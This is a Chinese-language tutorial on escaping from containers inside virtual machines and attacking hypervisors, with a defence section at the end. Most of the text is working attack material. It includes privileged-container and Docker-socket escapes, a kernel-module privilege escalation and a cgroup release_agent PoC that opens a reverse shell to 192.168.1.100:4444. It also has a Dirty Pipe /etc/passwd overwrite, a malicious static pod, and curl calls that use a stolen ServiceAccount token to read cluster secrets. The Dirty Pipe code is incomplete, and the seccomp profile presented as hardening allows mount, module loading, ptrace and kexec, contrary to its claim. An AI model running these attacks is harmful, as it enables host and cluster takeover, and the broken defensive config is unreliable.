虚拟机容器逃逸完全指南
一、虚拟机容器逃逸概述
虚拟机容器逃逸(VM Container Escape)是指攻击者在虚拟机内部运行的容器中,利用内核共享、配置缺陷或虚拟化漏洞突破容器隔离,进而获取宿主机权限的复合攻击技术。它结合了容器逃逸和 VM 逃逸两个维度的攻击链。
1.1 虚拟机容器架构全景
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
1.2 容器逃逸 vs VM 逃逸
| 维度 | 容器逃逸 | VM 逃逸 |
|---|---|---|
| 隔离机制 | Namespace / Cgroup | 硬件虚拟化 (VMX/SVM) |
| 共享内核 | 是(共享 Host Kernel) | 否(各自独立内核) |
| 攻击难度 | 中 | 极高 |
| 漏洞利用 | 内核漏洞 / 配置缺陷 | Hypervisor 漏洞 |
| 典型影响 | Host 权限提升 | Host 完全控制 |
| 复合攻击 | 容器→VM Guest Kernel→Hypervisor | 直接 Guest→Hypervisor |
1.3 容器在 VM 中的部署模式
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
二、容器基础逃逸技术(VM 环境适用)
2.1 特权容器逃逸
BASH
# VM 中运行的 Docker 容器如果被授予 --privileged
docker run --privileged -it ubuntu:22.04 /bin/bash
# 容器内逃逸步骤:
# 1. 挂载 Host 磁盘(Guest VM 的磁盘)
fdisk -l # 查看 Guest VM 的磁盘设备
mount /dev/vda1 /mnt
chroot /mnt /bin/bash # 逃逸到 VM
# 2. 利用 cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# 获取容器在 Host 上的路径(Guest VM 中)
host_path=$(grep 'overlay' /proc/1/mountinfo | head -1 | \
awk -F'/' '{print "/"$2"/"$3"/"$4}')
echo $host_path
2.2 挂载 Docker Socket 逃逸
BASH
# VM 中的容器挂载了 Docker Socket
docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine
# 容器内操作:
# 1. 安装 Docker CLI
apt-get install -y docker.io # 或静态编译的 docker
# 2. 创建特权容器访问 VM 文件系统
docker -H unix:///var/run/docker.sock run --privileged \
-v /:/hostfs -it alpine chroot /hostfs
# 3. 现在拥有 VM Guest 的 root 权限
# 4. 进一步攻击 Hypervisor
2.3 内核模块加载逃逸
BASH
# 容器中加载内核模块(需要 CAP_SYS_MODULE)
cat > /tmp/escape.c << 'EOF'
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
static int __init escape_init(void) {
// 提权:修改 cred 结构
commit_creds(prepare_kernel_cred(0));
printk(KERN_INFO "Container escaped via kernel module\n");
return 0;
}
module_init(escape_init);
MODULE_LICENSE("GPL");
EOF
# 编译并加载(需要 Guest VM 中的内核头文件)
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
insmod escape.ko
2.4 Capability 滥用
BASH
# 检查容器拥有的 Capability
capsh --print
# 关键逃逸 Capability
# CAP_SYS_ADMIN: 挂载文件系统、加载内核模块
# CAP_SYS_PTRACE: 调试 Host 进程
# CAP_SYS_MODULE: 加载内核模块
# CAP_NET_ADMIN: 网络配置
# CAP_NET_RAW: 原始套接字
# CAP_SYS_RAWIO: 直接 I/O 访问
# 利用 CAP_SYS_ADMIN
mount -t proc proc /mnt # 如果允许挂载
# 或
nsenter --mount=/proc/1/ns/mnt -- /bin/bash # 进入 Host 命名空间
# 利用 CAP_SYS_PTRACE
# 注入 Host(Guest VM)进程
echo 0 > /proc/sys/kernel/yama/ptrace_scope
gdb -p 1 # 调试 init 进程
2.5 procfs 利用
BASH
# 容器中访问 /proc 获取 VM Guest 信息
# 1. 查看 Guest 内核信息
cat /proc/version
cat /proc/cmdline
# 2. 访问 /proc/sysrq-trigger
# 如果有 CAP_SYS_ADMIN
echo b > /proc/sysrq-trigger # 重启 VM
# 3. 读取 Host(VM Guest)进程信息
ls -la /proc/*/root # 查看进程的根文件系统
# 4. 通过 /proc/1/root 访问 Host 文件系统
# 如果 nsenter 可用
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
三、由容器到 VM 权限提升
3.1 容器突破到 VM Root 路径总览
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
3.2 CVE-2022-0492 — cgroup v1 release_agent 提权
C
// 漏洞原理:cgroup v1 的 release_agent 可被非特权用户写入
// 影响:所有使用 cgroup v1 的 Linux 内核
// 攻击步骤(在容器内):
// 1. 确认 cgroup v1 可用
// mount | grep cgroup
// 2. 创建新 cgroup
// mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
// 3. 创建子 cgroup
// mkdir /tmp/cgrp/x
// 4. 写入 release_agent(需要 CAP_SYS_ADMIN 在初始命名空间)
// 但在 VM 内的容器中,如果容器有特权,可以操作
// 5. 触发 release_agent
// echo 0 > /tmp/cgrp/x/cgroup.procs
BASH
#!/bin/bash
# 完整容器→VM 逃逸 PoC (CVE-2022-0492)
# 准备 payload
cat > /tmp/payload.sh << 'EOF'
#!/bin/bash
# 反向 Shell 或提权命令
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
EOF
chmod +x /tmp/payload.sh
# 挂载 cgroup
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir -p /tmp/cgrp/x
# 设置 release_agent
echo "/tmp/payload.sh" > /tmp/cgrp/release_agent
# 触发
echo 1 > /tmp/cgrp/x/notify_on_release
# 获取容器 overlay 路径
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "Host path: $host_path"
# 运行触发脚本
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
3.3 Dirty Pipe 逃逸(CVE-2022-0847)
C
// Linux 内核 5.8+ 管道机制中的漏洞
// 允许任意文件写入(即使只读打开)
// 在容器中编译利用代码
// 目标:写入 VM 的 /etc/passwd 或 SSH authorized_keys
BASH
# 容器内利用 Dirty Pipe
# 1. 编译利用程序
cat > dirtypipe.c << 'EOF'
// CVE-2022-0847 利用代码
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv) {
if (argc != 4) {
fprintf(stderr, "Usage: %s <target_file> <offset> <data>\n", argv[0]);
return 1;
}
loff_t offset = strtoul(argv[2], NULL, 10);
const char *data = argv[3];
size_t data_size = strlen(data);
// ... splice + pipe 技巧
int p[2];
pipe(p);
// 目标文件以只读方式打开
int fd = open(argv[1], O_RDONLY);
// splice 页面到管道
unsigned int pipe_size = fcntl(p[1], F_GETPIPE_SZ);
while (pipe_size > 0) {
ssize_t n = splice(fd, &offset, p[1], NULL, pipe_size, 0);
// ...
}
// 写入管道(修改页面缓存)
write(p[1], data, data_size);
return 0;
}
EOF
gcc -o dirtypipe dirtypipe.c
# 2. 覆写 /etc/passwd(在 VM 中)
./dirtypipe /etc/passwd 0 'root::0:0:root:/root:/bin/bash\n'
# 现在 VM 的 root 无密码
# 3. SSH 到 VM
ssh root@<vm_ip>
3.4 Kernel Exploit 提权
BASH
# 在容器中识别 Guest VM 内核版本
uname -r
cat /proc/version
# 根据内核版本选择 Exploit
# 常用容器→VM 提权 Exploit 列表:
# Linux 4.x:
# CVE-2016-5195 (DirtyCow)
# CVE-2017-1000112 (UFO)
# CVE-2017-7308 (AF_PACKET)
# Linux 5.x:
# CVE-2021-22555 (Netfilter)
# CVE-2021-4034 (PwnKit)
# CVE-2022-0185 (fsconfig)
# CVE-2022-0847 (DirtyPipe)
# CVE-2022-25636 (Netfilter)
# CVE-2022-2588 (route4)
# CVE-2022-34918 (Netfilter)
# Linux 6.x:
# CVE-2023-0386 (OverlayFS)
# CVE-2023-32233 (Netfilter)
# CVE-2023-3269 (StackRot)
# CVE-2023-4244 (Netfilter)
# CVE-2024-1086 (Netfilter)
四、Kubernetes 容器在 VM 中的逃逸
4.1 K8s in VM 架构
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
4.2 K8s Pod 逃逸到 VM
BASH
# 场景:Pod 中有特权或 hostPath 挂载
# 1. hostPath 挂载逃逸
# 如果 Pod 挂载了 VM 的文件系统:
# volumes:
# - name: host-root
# hostPath:
# path: /
# 进入容器后:
ls /host-root/
chroot /host-root /bin/bash # VM root shell
# 2. 利用 hostPID
# spec:
# hostPID: true
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# 3. 利用 hostNetwork
# 可以直接访问 VM 所有网络接口
ip addr show
# 访问 VM 的 22 端口等
# 4. 挂载 /var/log 读取日志
# 读取 kubelet 日志、系统日志
cat /var/log/syslog
cat /var/log/auth.log
# 5. 静态 Pod 注入
# 如果能写入 /etc/kubernetes/manifests/
cat > /etc/kubernetes/manifests/evil-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- name: evil
image: busybox
command: ["/bin/sh", "-c", "nsenter --target 1 --mount -- /bin/bash -c '...'"]
securityContext:
privileged: true
EOF
4.3 K8s API Server 攻击
BASH
# 从容器内访问 K8s API(ServiceAccount token)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API_SERVER=https://kubernetes.default.svc
# 1. 检查权限
curl -s --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
$API_SERVER/api/v1/namespaces/default/pods
# 2. 创建特权 Pod(如果有权限)
curl -s --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
$API_SERVER/api/v1/namespaces/default/pods \
-d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"escape-pod"},...}'
# 3. 如果有 cluster-admin 权限
# 读取所有 secrets
curl -s --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
$API_SERVER/api/v1/secrets
# 4. 创建恶意 DaemonSet
# 在所有 VM 节点上运行特权容器
4.4 etcd 攻击
BASH
# 如果能够访问 etcd(通常在 control plane VM 中)
# 1. 连接到 etcd
etcdctl --endpoints=https://127.0.0.1:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only
# 2. 写入恶意 ServiceAccount token
# 或修改 RBAC 配置
五、由 VM 到宿主机 Hypervisor 攻击
5.1 二层逃逸攻击链
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
5.2 VMware Tools 通道攻击
C
// VMware Tools 中的 RPCI 通道漏洞
// Guest → Host 通信接口
// 在 Guest 中(已获得 VM Root):
// 1. 发现 vSockets 接口(VMCI Sockets)
// /dev/vsock
// 2. 连接到 VMware RPCI 端点
// RPCI 通道用于 VMware Tools 内部通信
// 某些版本的漏洞允许通过 RPCI 执行 Host 命令
// CVE-2020-3941: VMware Tools RPCI 权限提升
// CVE-2020-3947: VMware Workstation DHCP RCE
BASH
# 在 VM Guest 中利用 VMTools 漏洞
# 1. 检查 VMTools 版本
vmware-toolbox-cmd -v
# 2. 检查 vSockets 接口
ls -la /dev/vsock
lsmod | grep vsock
# 3. 利用 VIX API(需验证)
# VIX 是 VMware 的 Guest 操作 API
# 某些配置允许 Guest 控制 VM 状态
vmrun list # 如果在 VM 内安装了 Workstation
5.3 从 KVM VM 攻击 QEMU
BASH
# 场景:获得 VM Guest Root 后攻击 KVM/QEMU
# 1. 信息收集
# 检查虚拟化环境
cat /sys/class/dmi/id/product_name
cat /proc/cpuinfo | grep hypervisor
dmesg | grep -i virtio
# 2. 枚举 PCI 设备
lspci
# 识别虚拟设备:
# 00:02.0 VGA compatible controller: Device 1234:1111 (QEMU stdvga)
# 00:03.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet
# 00:04.0 SCSI storage controller: Red Hat, Inc. Virtio block device
# 3. 枚举 MMIO 和 I/O 端口
cat /proc/iomem
cat /proc/ioports
# 4. 识别 QEMU 版本
# 通过 MSR 或 CPUID 特征
# 或通过 virtio 特性位
# 5. 利用已知漏洞
# 如果 QEMU 版本 <= 4.x
# CVE-2020-14364 (USB 越界)
# CVE-2020-16092 (net 越界)
# CVE-2021-20203 (net 整数溢出)
5.4 内存共享侧信道
BASH
# 1. 在 VM Guest 中测量内存访问延迟
# 使用 Flush+Reload 或 Prime+Probe
# 2. 检测 Host 上的其他 VM 活动
# 通过观察缓存行为模式
# 3. 推断 Host 内存内容
# 使用 L1TF (Foreshadow) 等 CPU 漏洞
# 实际可行性:
# - 需要 Host 未打最新微码补丁
# - 精度约为 bit-level,速率很慢
# - 主要用于密钥泄露而非直接逃逸
六、Kata Container / Firecracker 安全容器逃逸
6.1 安全容器架构
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
6.2 Kata Container 攻击面
| 攻击面 | 描述 | CVE |
|---|---|---|
| virtio-fs | 共享文件系统 (9p/virtio-fs) | CVE-2020-10718 |
| vsock | Guest-Host AF_VSOCK 通信 | CVE-2021-26708 |
| Kata Agent | Guest 内代理进程 | CVE-2022-23460 |
| QEMU/Cloud Hypervisor | VMM 漏洞 | CVE-2021-3611 |
| 内核共享内存 | vhost-user 内存布局 | - |
6.3 Kata 容器逃逸分析
BASH
# Kata 容器逃逸需要两层突破:
# 1. 容器 → Guest Kernel (Kata VM 内)
# 2. Guest Kernel → VMM → Host
# Kata 容器默认不是 privileged 的:
# - 使用独立的内核
# - 最小化的虚拟设备
# - 受限制的内存共享
# 攻击路径:
# 阶段 1: 容器内信息收集
cat /proc/version
# Linux version ... (Kata 定制内核)
cat /proc/cpuinfo | grep -E "model name|flags"
# 检查虚拟化标志
# 阶段 2: 利用 Guest 内核漏洞
# 从容器提升到 Kata VM 的 root
# 使用 Dirty Pipe / Netfilter 等内核漏洞
# 阶段 3: 从 Kata VM 攻击 VMM
# 利用 virtio-fs 漏洞 (CVE-2020-10718)
# 或 vsock 漏洞 (CVE-2021-26708)
# 阶段 4: Host 代码执行
6.4 CVE-2020-10718 — virtio-fs 逃逸
C
// virtio-fs 是 Kata Container / QEMU 中的共享文件系统
// 利用 FUSE 协议通过 virtqueue 通信
// 漏洞:virtio-fs 守护进程 (virtiofsd) 中的缓冲区管理缺陷
// 攻击者通过 Guest 内的恶意 FUSE 操作触发 Host 侧漏洞
// 攻击步骤:
// 1. 在 Kata 容器中挂载 virtio-fs
// 2. 发送畸形 FUSE 请求包
// 3. 触发 virtiofsd (Host 侧) 的内存错误
// 4. Host 代码执行
6.5 vhost-vsock 逃逸(CVE-2021-26708)
C
// Linux 内核 vhost-vsock 模块中的竞态条件
// 影响使用 vsock 的 Kata Container
// 漏洞代码路径:
// drivers/vhost/vsock.c
// 利用方式:
// 1. 在 Kata Guest 中多次创建/关闭 vsock 连接
// 2. 触发 vhost_vsock 对象释放后重用
// 3. 控制释放后的内存内容
// 4. 通过堆喷覆盖关键结构
// 5. 提权到 Host 内核
七、Docker-in-Docker (DinD) 嵌套容器
7.1 DinD 架构
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
7.2 DinD 逃逸路径
BASH
# DinD 容器内逃逸:
# 1. 如果 DinD 容器是 privileged:
# 直接挂载 VM 文件系统
mount /dev/vda1 /mnt
chroot /mnt
# 2. 利用 cgroup release_agent
# 与普通容器逃逸相同
# 3. 通过 Docker Socket 创建层级逃逸容器
# DinD → 外层容器 (VM 内) → VM Guest Root
docker run --privileged -v /:/hostfs -it alpine
chroot /hostfs
# 4. 如果外层容器有 CAP_SYS_ADMIN
# 可以直接操作 VM 内核
debugfs -w /dev/vda1 # 修改文件系统
7.3 嵌套命名空间攻击
BASH
# 从嵌套容器突破命名空间层级
# 查看命名空间层级
ls -la /proc/self/ns/
# 如果共享 PID 命名空间
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# 进入最外层容器 (VM 内的)
# 再次突破
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# 进入 VM 进程空间
# 第三次突破 (如果需要)
# 使用 VM 逃逸技术攻击 Hypervisor
八、云原生环境下的复合攻击
8.1 公有云 K8s 节点攻击
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
8.2 云平台 VM 逃逸案例模式
| 云平台 | 虚拟化技术 | 已知逃逸模式 | 年份 |
|---|---|---|---|
| AWS | Xen → Nitro (KVM) | Xen PV MMU 漏洞 | 2017 |
| Azure | Hyper-V | VMBus 漏洞 | 2020 |
| GCP | KVM | virtio-scsi 漏洞 | 2021 |
| 阿里云 | KVM (神龙) | MOC 卡安全 | - |
| 腾讯云 | KVM | QEMU 设备模拟 | - |
8.3 云环境容器 + VM 组合攻击
BASH
# 场景:公有云 ECS/VM 上运行 K8s
# 攻击路径:Pod → Worker VM → 同 Host 其他 VM
# 阶段 1: Pod 逃逸到 Worker VM
# 使用 DirtyPipe / CVE-2022-0847
# 阶段 2: Worker VM 信息收集
# 确认在云 VM 中
curl http://169.254.169.254/latest/meta-data/ # AWS IMDS
curl -H "Metadata:true" http://169.254.169.254/metadata/instance?api-version=2020-09-01 # Azure IMDS
# 阶段 3: 尝试 VM 逃逸到物理宿主机
# 检查虚拟化环境
dmidecode -s system-manufacturer
# Xen: "Xen"
# KVM: "KVM" 或 "QEMU"
# VMware: "VMware"
# 阶段 4: Hypervisor 漏洞利用
# 针对具体平台的 Exploit
九、防御策略
9.1 容器安全基准
YAML
# Kubernetes Pod Security Standards (Restricted)
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
seccompProfile:
type: RuntimeDefault
runAsNonRoot: true
containers:
- name: app
image: myapp:latest
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
readOnlyRootFilesystem: true
runAsUser: 1000
volumeMounts:
- name: tmp
mountPath: /tmp
volumes:
- name: tmp
emptyDir: {}
9.2 禁止危险挂载
YAML
# OPA / Kyverno 策略:禁止危险挂载
# 禁止挂载 Docker Socket
# 禁止挂载 Host(VM)文件系统
# 禁止挂载 /proc 等敏感路径
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: block-dangerous-mounts
spec:
validationFailureAction: enforce
rules:
- name: block-docker-socket
match:
resources:
kinds: [Pod]
validate:
message: "Docker socket mount is not allowed"
pattern:
spec:
volumes:
- (name): "*"
hostPath:
path: "!/var/run/docker.sock"
- name: block-host-root-mount
match:
resources:
kinds: [Pod]
validate:
message: "Host root mount is not allowed"
pattern:
spec:
volumes:
- (name): "*"
hostPath:
path: "!/"
9.3 Seccomp 策略
JSON
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{
"names": [
"read", "write", "open", "close", "stat",
"fstat", "lstat", "poll", "lseek", "mmap",
"mprotect", "munmap", "brk", "rt_sigaction",
"rt_sigprocmask", "rt_sigreturn", "ioctl",
"pread64", "pwrite64", "readv", "writev",
"access", "pipe", "select", "sched_yield",
"mremap", "msync", "mincore", "madvise",
"shmget", "shmat", "shmctl", "dup", "dup2",
"pause", "nanosleep", "getitimer", "setitimer",
"alarm", "getpid", "sendfile", "socket",
"connect", "accept", "sendto", "recvfrom",
"sendmsg", "recvmsg", "shutdown", "bind",
"listen", "getsockname", "getpeername",
"socketpair", "setsockopt", "getsockopt",
"clone", "fork", "vfork", "execve",
"exit", "wait4", "kill", "uname",
"semget", "semop", "semctl", "shmdt",
"msgget", "msgsnd", "msgrcv", "msgctl",
"fcntl", "flock", "fsync", "fdatasync",
"truncate", "ftruncate", "getdents",
"getcwd", "chdir", "fchdir", "rename",
"mkdir", "rmdir", "creat", "link",
"unlink", "symlink", "readlink",
"chmod", "fchmod", "chown", "fchown",
"lchown", "umask", "gettimeofday",
"getrlimit", "getrusage", "sysinfo",
"times", "ptrace", "getuid", "syslog",
"getgid", "setuid", "setgid", "geteuid",
"getegid", "setpgid", "getppid", "getpgrp",
"setsid", "setreuid", "setregid",
"getgroups", "setgroups", "setresuid",
"getresuid", "setresgid", "getresgid",
"getpgid", "setfsuid", "setfsgid",
"getsid", "capget", "capset",
"rt_sigpending", "rt_sigtimedwait",
"rt_sigqueueinfo", "rt_sigsuspend",
"sigaltstack", "utime", "mknod",
"uselib", "personality", "ustat",
"statfs", "fstatfs", "sysfs",
"getpriority", "setpriority",
"sched_setparam", "sched_getparam",
"sched_setscheduler", "sched_getscheduler",
"sched_get_priority_max", "sched_get_priority_min",
"sched_rr_get_interval", "mlock",
"munlock", "mlockall", "munlockall",
"vhangup", "modify_ldt", "pivot_root",
"_sysctl", "prctl", "arch_prctl",
"adjtimex", "setrlimit", "chroot",
"sync", "acct", "settimeofday",
"mount", "umount2", "swapon", "swapoff",
"reboot", "sethostname", "setdomainname",
"iopl", "ioperm", "create_module",
"init_module", "delete_module",
"get_kernel_syms", "query_module",
"quotactl", "nfsservctl", "getpmsg",
"putpmsg", "afs_syscall", "tuxcall",
"security", "gettid", "readahead",
"setxattr", "lsetxattr", "fsetxattr",
"getxattr", "lgetxattr", "fgetxattr",
"listxattr", "llistxattr", "flistxattr",
"removexattr", "lremovexattr", "fremovexattr",
"tkill", "time", "futex",
"sched_setaffinity", "sched_getaffinity",
"set_thread_area", "io_setup", "io_destroy",
"io_getevents", "io_submit", "io_cancel",
"get_thread_area", "lookup_dcookie",
"epoll_create", "epoll_ctl_old",
"epoll_wait_old", "remap_file_pages",
"getdents64", "set_tid_address",
"restart_syscall", "semtimedop",
"fadvise64", "timer_create",
"timer_settime", "timer_gettime",
"timer_getoverrun", "timer_delete",
"clock_settime", "clock_gettime",
"clock_getres", "clock_nanosleep",
"exit_group", "epoll_wait", "epoll_ctl",
"tgkill", "utimes", "vserver",
"mbind", "set_mempolicy", "get_mempolicy",
"mq_open", "mq_unlink", "mq_timedsend",
"mq_timedreceive", "mq_notify",
"mq_getsetattr", "kexec_load",
"waitid", "add_key", "request_key",
"keyctl", "ioprio_set", "ioprio_get",
"inotify_init", "inotify_add_watch",
"inotify_rm_watch", "migrate_pages",
"openat", "mkdirat", "mknodat",
"fchownat", "futimesat", "newfstatat",
"unlinkat", "renameat", "linkat",
"symlinkat", "readlinkat", "fchmodat",
"faccessat", "pselect6", "ppoll",
"unshare", "set_robust_list",
"get_robust_list", "splice", "tee",
"sync_file_range", "vmsplice",
"move_pages", "utimensat",
"epoll_pwait", "signalfd", "timerfd_create",
"eventfd", "fallocate", "timerfd_settime",
"timerfd_gettime", "accept4",
"signalfd4", "eventfd2", "epoll_create1",
"dup3", "pipe2", "inotify_init1",
"preadv", "pwritev", "rt_tgsigqueueinfo",
"perf_event_open", "recvmmsg",
"fanotify_init", "fanotify_mark",
"prlimit64", "name_to_handle_at",
"open_by_handle_at", "clock_adjtime",
"syncfs", "sendmmsg", "setns",
"getcpu", "process_vm_readv",
"process_vm_writev", "kcmp",
"finit_module", "sched_setattr",
"sched_getattr", "renameat2",
"seccomp", "getrandom", "memfd_create",
"kexec_file_load", "bpf",
"execveat", "userfaultfd", "membarrier",
"mlock2", "copy_file_range",
"preadv2", "pwritev2", "pkey_mprotect",
"pkey_alloc", "pkey_free", "statx",
"io_pgetevents", "rseq"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
9.4 AppArmor 策略
BASH
# 容器 AppArmor 策略
# /etc/apparmor.d/container-secure
profile container-secure flags=(attach_disconnected,mediate_deleted) {
# 文件系统
/ r,
/tmp/** rw,
# 禁止挂载
deny mount,
deny umount,
# 禁止内核模块加载
deny /lib/modules/** rw,
deny /sys/module/** rw,
# 禁止访问其他容器的 cgroup
deny /sys/fs/cgroup/** rw,
# 禁止访问设备
deny /dev/** rw,
# 禁止 ptrace
deny ptrace,
# 仅允许必要网络
network inet tcp,
network inet udp,
}
9.5 安全容器选型
| 方案 | 隔离级别 | 性能开销 | 成熟度 |
|---|---|---|---|
| Kata Containers | VM 级 | ~5-10% | 高 |
| Firecracker (AWS) | MicroVM | ~3-5% | 高 |
| gVisor | 用户态内核 | ~10-20% | 中高 |
| Nabla Containers | Unikernel | ~2-5% | 低 |
| 传统 Docker | 容器级 | ~0% | 最高 |
9.6 监控与检测矩阵
| 检测目标 | 方法 | 工具 |
|---|---|---|
| 特权容器 | Pod Security Policies scan | kube-bench, Falco |
| 危险挂载 | 审计日志分析 | Falco, Tracee |
| 内核漏洞利用 | syscall 异常检测 | Falco, Tetragon |
| VM 逃逸 | HV 日志监控 | 自定义脚本 |
| 异常网络 | 流量分析 | Cilium, Calico |
| 容器提权 | auditd 审计 | Falco, Sysdig |
十、综合实战:从 Pod 到宿主机完整攻击链
10.1 攻击链总览
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
10.2 检测与防御全链路
BASH
# 每一层都需要独立检测:
# 容器层检测(Falco 规则)
# - 特权容器启动
# - 敏感挂载 (/proc, /sys, /, Docker socket)
# - 危险 syscall (mount, ptrace, init_module)
# VM 层检测
# - Guest 内核崩溃 (oops/panic)
# - 异常 PCI 设备访问
# - 大量 VM Exit
# - 未授权 MSR 访问
# Hypervisor 层检测
# - QEMU 进程崩溃
# - 异常内存分配
# - 设备模拟异常
总结
虚拟机容器逃逸是一条多层级的复合攻击链,攻击者从容器出发,经过 容器 → VM Guest Kernel → Hypervisor → 宿主机 四个层级。每一层都有独立的攻击面和防御点:
攻击面总结:
| 层级 | 攻击面 | 关键风险 |
|---|---|---|
| 容器 → VM | 特权容器、Docker Socket、内核漏洞 | CVE-2022-0847、CVE-2022-2588 |
| VM → Hypervisor | 虚拟设备、VM Exit 处理 | SVGA、virtio、VMTools |
| Hypervisor → Host | VMM 进程内存、内核接口 | QEMU RCE、KVM 内核漏洞 |
| 网络层 | vSwitch、协议栈、迁移 | VLAN 欺骗、隧道注入 |
防御原则:
- 容器层:最小权限(no privileged, drop ALL caps, seccomp, AppArmor)
- VM 层:使用安全容器(Kata/Firecracker/gVisor),减少内核攻击面
- Hypervisor 层:及时打补丁,最小化虚拟设备,启用 IOMMU
- 检测层:Falco + 审计日志的多层异常检测
- 架构层:微分段,零信任网络,最小暴露面
容器 + VM 的组合部署在云原生时代已成为常态,理解并防御这条复合攻击链是云安全从业者的核心能力。